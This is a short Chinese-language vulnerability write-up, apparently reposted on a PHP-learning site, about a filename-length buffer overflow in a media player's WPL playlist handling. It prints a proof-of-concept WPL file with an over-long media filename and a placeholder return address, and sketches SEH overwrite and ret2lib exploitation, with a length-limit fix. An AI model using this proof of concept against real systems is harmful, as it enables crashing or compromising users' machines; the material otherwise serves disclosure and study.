来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 处理播放列表文件之后,在某处再次引用文件名没有限制长度而导致溢出版本:?wpl version=1.0?smil head meta name=Generator content=Nothing is true/ titletest/title......
处理播放列表文件之后,在某处再次引用文件名没有限制长度而导致溢出
版本:
<?wpl version="1.0"?>
<smil>
<head>
<meta name="Generator" content="Nothing is true"/>
<title>test</title>
</head>
<body>
<seq>
<media src="AAA......AAAACRAAAAAAAAAA.wma"/>
</seq>
</body>
</smil>
CR之前一共有1900个'A',CR是MultiByteToWideChar之后pop pop ret的地址,将上述代码保存为xxx.wpl
在处理wpl文件之后,在播放列表中显示
当鼠标滑过播放列表中的文件名时,将导致溢出
通过覆盖异常,可以跳转到
然后由于复制内容超出堆栈段的最大地址空间而导致异常,跳到
要想成功利用该漏洞,shellcode必须是可打印字符,然后还经过unicode转换之后还必须能使用,最后该堆栈段,还不能执行,ret2lib把。。。。
修复方案:
长度限制
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com